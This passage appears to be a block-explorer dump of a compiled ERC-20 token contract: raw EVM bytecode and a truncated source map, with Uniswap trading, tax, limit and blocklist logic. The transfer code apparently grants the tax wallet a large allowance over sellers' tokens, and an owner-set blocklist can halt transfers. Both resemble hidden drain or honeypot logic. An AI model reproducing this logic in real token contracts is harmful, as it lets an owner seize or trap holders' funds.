17e565b348015610232575f80fd5b506101a661024136600461179a565b6001600160a01b03165f9081526008602052604090205460ff1690565b348015610269575f80fd5b5061027d6102783660046117c9565b6104c7565b005b34801561028a575f80fd5b5061027d610557565b34801561029e575f80fd5b506101cb6102ad36600461179a565b6001600160a01b03165f9081526005602052604090205490565b3480156102d2575f80fd5b5061027d610751565b3480156102e6575f80fd5b5061027d6107c2565b3480156102fa575f80fd5b506101cb60015481565b34801561030f575f80fd5b5061027d610876565b348015610323575f80fd5b505f546040516001600160a01b03909116815260200161017e565b348015610349575f80fd5b506101cb60025481565b34801561035e575f80fd5b5060408051808201909152600381526222a0a360e91b6020820152610171565b348015610389575f80fd5b5061027d610a5b565b34801561039d575f80fd5b506101a66103ac366004611732565b610ab0565b3480156103bc575f80fd5b506101cb60035481565b3480156103d1575f80fd5b5061027d6103e03660046117c9565b610abc565b3480156103f0575f80fd5b506101cb6103ff366004611889565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f610435338484610b40565b5060015b92915050565b5f61044c6009600a6119b4565b61045b906461f313f8806119c2565b905090565b5f61046c848484610c64565b6104bd84336104b885604051806060016040528060288152602001611b56602891396001600160a01b038a165f9081526006602090815260408083203384529091529020549190611342565b610b40565b5060019392505050565b5f546001600160a01b031633146104f95760405162461bcd60e51b81526004016104f0906119d9565b60405180910390fd5b5f5b8151811015610553575f60085f84848151811061051a5761051a611a0e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104fb565b5050565b5f546001600160a01b031633146105805760405162461bcd60e51b81526004016104f0906119d9565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105ca9030906105bb6009600a6119b4565b6104b8906461f313f8806119c2565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561061a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063e9190611a22565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106c19190611a22565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561070b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072f9190611a22565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461077a5760405162461bcd60e51b81526004016104f0906119d9565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107eb5760405162461bcd60e51b81526004016104f0906119d9565b6107f76009600a6119b4565b610806906461f313f8806119c2565b6001556108156009600a6119b4565b610824906461f313f8806119c2565b6002557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108546009600a6119b4565b610863906461f313f8806119c2565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461089f5760405162461bcd60e51b81526004016104f0906119d9565b601454600160a01b900460ff16156108f95760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f0565b6013546001600160a01b031663f305d719473061092a816001600160a01b03165f9081526005602052604090205490565b5f8061093d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109c89190611a3d565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a419190611a68565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a845760405162461bcd60e51b81526004016104f0906119d9565b60405133904780156108fc02915f818181858888f19350505050158015610aad573d5f803e3d5ffd5b50565b5f610435338484610c64565b5f546001600160a01b03163314610ae55760405162461bcd60e51b81526004016104f0906119d9565b5f5b815181101561055357600160085f848481518110610b0757610b07611a0e565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610ae7565b6001600160a01b038316610ba25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f0565b6001600160a01b038216610c035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f0565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cc85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f0565b6001600160a01b038216610d2a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f0565b5f8111610d8b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f0565b601454600160b01b900460ff161580610dad5750601454600160a81b900460ff165b15610e57576001600160a01b0383165f90815260056020526040902054610dd5908290611a87565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610e04908290611a9a565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c579085815260200190565b5f80546001600160a01b03858116911614801590610e8257505f546001600160a01b03848116911614155b156111ec5760125415610e9457506011545b6001600160a01b0384165f9081526008602052604090205460ff16158015610ed457506001600160a01b0383165f9081526008602052604090205460ff16155b610edc575f80fd5b6012545f03610eff57600e5460125411610ef857600a54610efc565b600c545b90505b6014546001600160a01b038581169116148015610f2a57506013546001600160a01b03848116911614155b8015610f4e57506001600160a01b0383165f9081526007602052604090205460ff16155b1561104d57600154821115610fa55760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f0565b60025482610fc7856001600160a01b03165f9081526005602052604090205490565b610fd19190611a9a565b111561101f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f0565b600e546012541161103257600a54611036565b600c545b601280549192505f61104783611aad565b91905055505b6014546001600160a01b03848116911614801561107357506001600160a01b0384163014155b1561113357604080518082019091526001600160a01b038085168252600954166020820152600f546012546111199291106110f2576003546110b790613a986119c2565b6110c2906064611a9a565b81516001600160a01b039081165f9081526006602090815260408083209582015190931682529390935290912055565b603260035461271061110491906119c2565b61110f906096611a9a565b6110c29190611a87565b600f546012541161112c57600b54611130565b600d545b90505b305f90815260056020526040902054601454600160a81b900460ff1615801561116957506014546001600160a01b038581169116145b801561117e5750601454600160b01b900460ff165b156111ea57601654431115611192575f6015555b600354811180156111a65750601054601254115b156111c8576111c86111c3846111be8460045461137a565b61137a565b611391565b6111d147611501565b60158054905f6111e083611aad565b9091555050436016555b505b5f61120260646111fc8486611538565b906115b6565b9050811561127c57305f9081526005602052604090205461122390826115f7565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112739085815260200190565b60405180910390a35b6001600160a01b0385165f9081526005602052604090205461129e9084611655565b6001600160a01b0386165f908152600560205260409020556112e16112c38483611655565b6001600160a01b0386165f90815260056020526040902054906115f7565b6001600160a01b038086165f8181526005602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61132a8685611655565b60405190815260200160405180910390a35050505050565b5f81848411156113655760405162461bcd60e51b81526004016104f091906116c2565b505f6113718486611a87565b95945050505050565b5f818311611388578261138a565b815b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113d7576113d7611a0e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561142e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114529190611a22565b8160018151811061146557611465611a0e565b6001600160a01b03928316602091820292909201015260135461148b9130911684610b40565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c39085905f90869030904290600401611ac5565b5f604051808303815f87803b1580156114da575f80fd5b505af11580156114ec573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610553573d5f803e3d5ffd5b5f825f0361154757505f610439565b5f61155283856119c2565b90508261155f8583611b36565b1461138a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f0565b5f61138a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611696565b5f806116038385611a9a565b90508381101561138a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f0565b5f61138a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611342565b5f81836116b65760405162461bcd60e51b81526004016104f091906116c2565b505f6113718486611b36565b5f602080835283518060208501525f5b818110156116ee578581018301518582016040015282016116d2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610aad575f80fd5b803561172d8161170e565b919050565b5f8060408385031215611743575f80fd5b823561174e8161170e565b946020939093013593505050565b5f805f6060848603121561176e575f80fd5b83356117798161170e565b925060208401356117898161170e565b929592945050506040919091013590565b5f602082840312156117aa575f80fd5b813561138a8161170e565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117da575f80fd5b823567ffffffffffffffff808211156117f1575f80fd5b818501915085601f830112611804575f80fd5b813581811115611816576118166117b5565b8060051b604051601f19603f8301168101818110858211171561183b5761183b6117b5565b604052918252848201925083810185019188831115611858575f80fd5b938501935b8285101561187d5761186e85611722565b8452938501939285019261185d565b98975050505050505050565b5f806040838503121561189a575f80fd5b82356118a58161170e565b915060208301356118b58161170e565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561190e57815f19048211156118f4576118f46118c0565b8085161561190157918102915b93841c93908002906118d9565b509250929050565b5f8261192457506001610439565b8161193057505f610439565b816001811461194657600281146119505761196c565b6001915050610439565b60ff841115611961576119616118c0565b50506001821b610439565b5060208310610133831016604e8410600b841016171561198f575081810a610439565b61199983836118d4565b805f19048211156119ac576119ac6118c0565b029392505050565b5f61138a60ff841683611916565b8082028115828204841417610439576104396118c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611a32575f80fd5b815161138a8161170e565b5f805f60608486031215611a4f575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a78575f80fd5b8151801515811461138a575f80fd5b81810381811115610439576104396118c0565b80820180821115610439576104396118c0565b5f60018201611abe57611abe6118c0565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b155784516001600160a01b031683529383019391830191600101611af0565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b5057634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6510b6b55b82585e3c29f94bc6929448735b1a4845c2480090ebcffda6656e764736f6c63430008180033

Deployed Bytecode Sourcemap

3643:8577:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6000:83;;;;;;;;;;-1:-1:-1;6070:5:0;;;;;;;;;;;;-1:-1:-1;;;6070:5:0;;;;6000:83;;;;;;;:::i;:::-;;;;;;;;6949:161;;;;;;;;;;-1:-1:-1;6949:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6949:161:0;1162:187:1;4123:46:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4123:46:0;1354:177:1;6271:95:0;;;;;;;;;;;;;:::i;7116:313::-;;;;;;;;;;-1:-1:-1;7116:313:0;;;;;:::i;:::-;;:::i;6182:83::-;;;;;;;;;;-1:-1:-1;6182:83:0;;3761:1;2139:36:1;;2127:2;2112:18;6182:83:0;1997:184:1;11505:83:0;;;;;;;;;;-1:-1:-1;11505:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11573:7:0;11552:4;11573:7;;;:4;:7;;;;;;;;;11505:83;11341:158;;;;;;;;;;-1:-1:-1;11341:158:0;;;;;:::i;:::-;;:::i;:::-;;5622:372;;;;;;;;;;;;;:::i;6372:117::-;;;;;;;;;;-1:-1:-1;6372:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6465:16:0;6438:7;6465:16;;;:7;:16;;;;;;;6372:117;1709:148;;;;;;;;;;;;;:::i;10806:161::-;;;;;;;;;;;;;:::i;3954:47::-;;;;;;;;;;;;;;;;10327:473;;;;;;;;;;;;;:::i;1495:79::-;;;;;;;;;;-1:-1:-1;1533:7:0;1560:6;1495:79;;-1:-1:-1;;;;;1560:6:0;;;3842:51:1;;3830:2;3815:18;1495:79:0;3696:203:1;4008:49:0;;;;;;;;;;;;;;;;6089:87;;;;;;;;;;-1:-1:-1;6161:7:0;;;;;;;;;;;;-1:-1:-1;;;6161:7:0;;;;6089:87;;11594:111;;;;;;;;;;;;;:::i;6495:167::-;;;;;;;;;;-1:-1:-1;6495:167:0;;;;;:::i;:::-;;:::i;4064:52::-;;;;;;;;;;;;;;;;11175:160;;;;;;;;;;-1:-1:-1;11175:160:0;;;;;:::i;:::-;;:::i;6668:143::-;;;;;;;;;;-1:-1:-1;6668:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6776:18:0;;;6749:7;6776:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6668:143;6949:161;7024:4;7041:39;1030:10;7064:7;7073:6;7041:8;:39::i;:::-;-1:-1:-1;7098:4:0;6949:161;;;;;:::o;6271:95::-;6324:7;3819:13;3761:1;3819:2;:13;:::i;:::-;3804:28;;:12;:28;:::i;:::-;6344:14;;6271:95;:::o;7116:313::-;7214:4;7231:36;7241:6;7249:9;7260:6;7231:9;:36::i;:::-;7278:121;7287:6;1030:10;7309:89;7347:6;7309:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7309:19:0;;;;;;:11;:19;;;;;;;;1030:10;7309:33;;;;;;;;;;:37;:89::i;:::-;7278:8;:121::i;:::-;-1:-1:-1;7417:4:0;7116:313;;;;;:::o;11341:158::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;;;;;;;;;11410:6:::1;11405:87;11426:6;:13;11422:1;:17;11405:87;;;11477:5;11459:4;:15;11464:6;11471:1;11464:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11459:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11459:15:0;:23;;-1:-1:-1;;11459:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11441:3:0::1;11405:87;;;;11341:158:::0;:::o;5622:372::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;5674:11:::1;:100:::0;;-1:-1:-1;;;;;;5674:100:0::1;5721:42;5674:100:::0;;::::1;::::0;;;5785:54:::1;::::0;5802:4:::1;::::0;3819:13:::1;3761:1;3819:2;:13;:::i;:::-;3804:28;::::0;:12:::1;:28;:::i;5785:54::-;5880:11;;;;;;;;;-1:-1:-1::0;;;;;5880:11:0::1;-1:-1:-1::0;;;;;5880:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5862:51:0::1;;5936:4;5956:11;;;;;;;;;-1:-1:-1::0;;;;;5956:11:0::1;-1:-1:-1::0;;;;;5956:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5862:123;::::0;-1:-1:-1;;;;;;5862:123:0::1;::::0;;;;;;-1:-1:-1;;;;;6958:15:1;;;5862:123:0::1;::::0;::::1;6940:34:1::0;7010:15;;6990:18;;;6983:43;6875:18;;5862:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5850:9;:135:::0;;-1:-1:-1;;;;;;5850:135:0::1;-1:-1:-1::0;;;;;5850:135:0;;;::::1;::::0;;;::::1;::::0;;5622:372::o;1709:148::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;1816:1:::1;1800:6:::0;;1779:40:::1;::::0;-1:-1:-1;;;;;1800:6:0;;::::1;::::0;1779:40:::1;::::0;1816:1;;1779:40:::1;1847:1;1830:19:::0;;-1:-1:-1;;;;;;1830:19:0::1;::::0;;1709:148::o;10806:161::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;3819:13:::1;3761:1;3819:2;:13;:::i;:::-;3804:28;::::0;:12:::1;:28;:::i;:::-;10859:12;:22:::0;3819:13:::1;3761:1;3819:2;:13;:::i;:::-;3804:28;::::0;:12:::1;:28;:::i;:::-;10892:14;:24:::0;10932:27:::1;3819:13;3761:1;3819:2;:13;:::i;:::-;3804:28;::::0;:12:::1;:28;:::i;:::-;10932:27;::::0;1500:25:1;;;1488:2;1473:18;10932:27:0::1;;;;;;;10806:161::o:0;10327:473::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;10391:11:::1;::::0;-1:-1:-1;;;10391:11:0;::::1;;;10390:12;10382:48;;;::::0;-1:-1:-1;;;10382:48:0;;7239:2:1;10382:48:0::1;::::0;::::1;7221:21:1::0;7278:2;7258:18;;;7251:30;7317:25;7297:18;;;7290:53;7360:18;;10382:48:0::1;7037:347:1::0;10382:48:0::1;10441:11;::::0;-1:-1:-1;;;;;10441:11:0::1;:27;10476:21;10521:4;10541:24;10521:4:::0;-1:-1:-1;;;;;6465:16:0;6438:7;6465:16;;;:7;:16;;;;;;;6372:117;10541:24:::1;10580:1;10596::::0;10612:7:::1;1533::::0;1560:6;-1:-1:-1;;;;;1560:6:0;;1495:79;10612:7:::1;10441:219;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10441:219:0;;;-1:-1:-1;;;;;7748:15:1;;;10441:219:0::1;::::0;::::1;7730:34:1::0;7780:18;;;7773:34;;;;7823:18;;;7816:34;;;;7866:18;;;7859:34;7930:15;;;7909:19;;;7902:44;10634:15:0::1;7962:19:1::0;;;7955:35;7664:19;;10441:219:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10678:9:0::1;::::0;10705:11:::1;::::0;10671:63:::1;::::0;-1:-1:-1;;;10671:63:0;;-1:-1:-1;;;;;10705:11:0;;::::1;10671:63;::::0;::::1;8486:51:1::0;-1:-1:-1;;8553:18:1;;;8546:34;10678:9:0;::::1;::::0;-1:-1:-1;10671:25:0::1;::::0;8459:18:1;;10671:63:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10745:11:0::1;:18:::0;;-1:-1:-1;;;;10774:18:0;-1:-1:-1;;;10774:18:0;;;10327:473::o;11594:111::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;11646:51:::1;::::0;11654:10:::1;::::0;11675:21:::1;11646:51:::0;::::1;;;::::0;::::1;::::0;;;11675:21;11654:10;11646:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11594:111::o:0;6495:167::-;6573:4;6590:42;1030:10;6614:9;6625:6;6590:9;:42::i;11175:160::-;1622:6;;-1:-1:-1;;;;;1622:6:0;1030:10;1622:22;1614:67;;;;-1:-1:-1;;;1614:67:0;;;;;;;:::i;:::-;11245:6:::1;11240:88;11261:5;:12;11257:1;:16;11240:88;;;11312:4;11295;:14;11300:5;11306:1;11300:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11295:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11295:14:0;:21;;-1:-1:-1;;11295:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11275:3:0::1;11240:88;;7435:335:::0;-1:-1:-1;;;;;7528:19:0;;7520:68;;;;-1:-1:-1;;;7520:68:0;;9075:2:1;7520:68:0;;;9057:21:1;9114:2;9094:18;;;9087:30;9153:34;9133:18;;;9126:62;-1:-1:-1;;;9204:18:1;;;9197:34;9248:19;;7520:68:0;8873:400:1;7520:68:0;-1:-1:-1;;;;;7607:21:0;;7599:68;;;;-1:-1:-1;;;7599:68:0;;9480:2:1;7599:68:0;;;9462:21:1;9519:2;9499:18;;;9492:30;9558:34;9538:18;;;9531:62;-1:-1:-1;;;9609:18:1;;;9602:32;9651:19;;7599:68:0;9278:398:1;7599:68:0;-1:-1:-1;;;;;7678:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7730:32;;1500:25:1;;;7730:32:0;;1473:18:1;7730:32:0;;;;;;;;7435:335;;;:::o;7776:2545::-;-1:-1:-1;;;;;7864:18:0;;7856:68;;;;-1:-1:-1;;;7856:68:0;;9883:2:1;7856:68:0;;;9865:21:1;9922:2;9902:18;;;9895:30;9961:34;9941:18;;;9934:62;-1:-1:-1;;;10012:18:1;;;10005:35;10057:19;;7856:68:0;9681:401:1;7856:68:0;-1:-1:-1;;;;;7943:16:0;;7935:64;;;;-1:-1:-1;;;7935:64:0;;10289:2:1;7935:64:0;;;10271:21:1;10328:2;10308:18;;;10301:30;10367:34;10347:18;;;10340:62;-1:-1:-1;;;10418:18:1;;;10411:33;10461:19;;7935:64:0;10087:399:1;7935:64:0;8027:1;8018:6;:10;8010:64;;;;-1:-1:-1;;;8010:64:0;;10693:2:1;8010:64:0;;;10675:21:1;10732:2;10712:18;;;10705:30;10771:34;10751:18;;;10744:62;-1:-1:-1;;;10822:18:1;;;10815:39;10871:19;;8010:64:0;10491:405:1;8010:64:0;8090:11;;-1:-1:-1;;;8090:11:0;;;;8089:12;;:22;;-1:-1:-1;8105:6:0;;-1:-1:-1;;;8105:6:0;;;;8089:22;8085:209;;;-1:-1:-1;;;;;8144:13:0;;;;;;:7;:13;;;;;;:22;;8160:6;;8144:22;:::i;:::-;-1:-1:-1;;;;;8128:13:0;;;;;;;:7;:13;;;;;;:38;;;;8195:11;;;;;;;:20;;8209:6;;8195:20;:::i;:::-;-1:-1:-1;;;;;8181:11:0;;;;;;;:7;:11;;;;;;;:34;;;;8235:26;;;;;;;;;;8254:6;1500:25:1;;1488:2;1473:18;;1354:177;8085:209:0;8304:14;1560:6;;-1:-1:-1;;;;;8335:15:0;;;1560:6;;8335:15;;;;:32;;-1:-1:-1;1533:7:0;1560:6;-1:-1:-1;;;;;8354:13:0;;;1560:6;;8354:13;;8335:32;8331:1587;;;8387:9;;:11;8384:73;;-1:-1:-1;8428:12:0;;8384:73;-1:-1:-1;;;;;8480:10:0;;;;;;:4;:10;;;;;;;;8479:11;:24;;;;-1:-1:-1;;;;;;8495:8:0;;;;;;:4;:8;;;;;;;;8494:9;8479:24;8471:33;;;;;;8522:9;;8533:1;8522:12;8519:117;;8575:15;;8565:9;;:25;8564:55;;8605:14;;8564:55;;;8592:12;;8564:55;8554:66;;8519:117;8662:9;;-1:-1:-1;;;;;8654:17:0;;;8662:9;;8654:17;:47;;;;-1:-1:-1;8689:11:0;;-1:-1:-1;;;;;8675:26:0;;;8689:11;;8675:26;;8654:47;:75;;;;-1:-1:-1;;;;;;8707:22:0;;;;;;:18;:22;;;;;;;;8705:24;8654:75;8650:390;;;8769:12;;8759:6;:22;;8751:60;;;;-1:-1:-1;;;8751:60:0;;11366:2:1;8751:60:0;;;11348:21:1;11405:2;11385:18;;;11378:30;11444:27;11424:18;;;11417:55;11489:18;;8751:60:0;11164:349:1;8751:60:0;8864:14;;8854:6;8838:13;8848:2;-1:-1:-1;;;;;6465:16:0;6438:7;6465:16;;;:7;:16;;;;;;;6372:117;8838:13;:22;;;;:::i;:::-;:40;;8830:79;;;;-1:-1:-1;;;8830:79:0;;11720:2:1;8830:79:0;;;11702:21:1;11759:2;11739:18;;;11732:30;11798:28;11778:18;;;11771:56;11844:18;;8830:79:0;11518:350:1;8830:79:0;8949:15;;8939:9;;:25;8938:55;;8979:14;;8938:55;;;8966:12;;8938:55;9013:9;:11;;8928:66;;-1:-1:-1;9013:9:0;:11;;;:::i;:::-;;;;;;8650:390;9063:9;;-1:-1:-1;;;;;9057:15:0;;;9063:9;;9057:15;:39;;;;-1:-1:-1;;;;;;9076:20:0;;9091:4;9076:20;;9057:39;9054:279;;;9117:112;;;;;;;;;-1:-1:-1;;;;;9117:112:0;;;;;9128:10;;;9117:112;;;;9152:16;;9142:9;;9117:112;;;-1:-1:-1;9141:87:0;;9201:17;;:23;;9219:5;9201:23;:::i;:::-;:27;;9225:3;9201:27;:::i;:::-;6905:9;;-1:-1:-1;;;;;6893:22:0;;;;;;;:11;6905:9;6893:22;;;;;;;6916:9;;;;6893:33;;;;;;;;;;;;:42;6817:126;9141:87;9198:2;9176:17;;9170:5;:23;;;;:::i;:::-;:27;;9194:3;9170:27;:::i;:::-;:30;;;;:::i;9117:112::-;9269:16;;9259:9;;:26;9258:58;;9301:15;;9258:58;;;9287:13;;9258:58;9248:69;;9054:279;9396:4;9347:28;6465:16;;;:7;:16;;;;;;9422:6;;-1:-1:-1;;;9422:6:0;;;;9421:7;:26;;;;-1:-1:-1;9438:9:0;;-1:-1:-1;;;;;9432:15:0;;;9438:9;;9432:15;9421:26;:41;;;;-1:-1:-1;9451:11:0;;-1:-1:-1;;;9451:11:0;;;;9421:41;9417:490;;;9502:13;;9487:12;:28;9483:90;;;9552:1;9540:9;:13;9483:90;9617:17;;9594:20;:40;:74;;;;;9650:18;;9638:9;;:30;9594:74;9591:169;;;9691:69;9708:51;9712:6;9720:38;9724:20;9746:11;;9720:3;:38::i;:::-;9708:3;:51::i;:::-;9691:16;:69::i;:::-;9779:35;9792:21;9779:12;:35::i;:::-;9833:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9879:12:0;9863:13;:28;9417:490;8369:1549;8331:1587;9928:17;9948:27;9971:3;9948:18;:6;9959;9948:10;:18::i;:::-;:22;;:27::i;:::-;9928:47;-1:-1:-1;9989:10:0;;9986:160;;10054:4;10038:22;;;;:7;:22;;;;;;:37;;10065:9;10038:26;:37::i;:::-;10031:4;10015:22;;;;:7;:22;;;;;;;:60;;;;10095:39;;-1:-1:-1;;;;;10095:39:0;;;;;;;10124:9;1500:25:1;;1488:2;1473:18;;1354:177;10095:39:0;;;;;;;;9986:160;-1:-1:-1;;;;;10170:13:0;;;;;;:7;:13;;;;;;:25;;10188:6;10170:17;:25::i;:::-;-1:-1:-1;;;;;10156:13:0;;;;;;:7;:13;;;;;:39;10218:38;10234:21;:6;10245:9;10234:10;:21::i;:::-;-1:-1:-1;;;;;10218:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;10206:11:0;;;;;;;:7;:11;;;;;:50;;;;10272:41;;;10291:21;:6;10302:9;10291:10;:21::i;:::-;10272:41;;1500:25:1;;;1488:2;1473:18;10272:41:0;;;;;;;7845:2476;;7776:2545;;;:::o;2853:190::-;2939:7;2975:12;2967:6;;;;2959:29;;;;-1:-1:-1;;;2959:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2999:9:0;3011:5;3015:1;3011;:5;:::i;:::-;2999:17;2853:190;-1:-1:-1;;;;;2853:190:0:o;10973:98::-;11030:7;11057:1;11055;:3;11054:9;;11062:1;11054:9;;;11060:1;11054:9;11047:16;10973:98;-1:-1:-1;;;10973:98:0:o;11746:471::-;5207:6;:13;;-1:-1:-1;;;;5207:13:0;-1:-1:-1;;;5207:13:0;;;11848:16:::1;::::0;;11862:1:::1;11848:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11848:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11848:16:0::1;11824:40;;11893:4;11875;11880:1;11875:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11875:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11919:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;11919:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;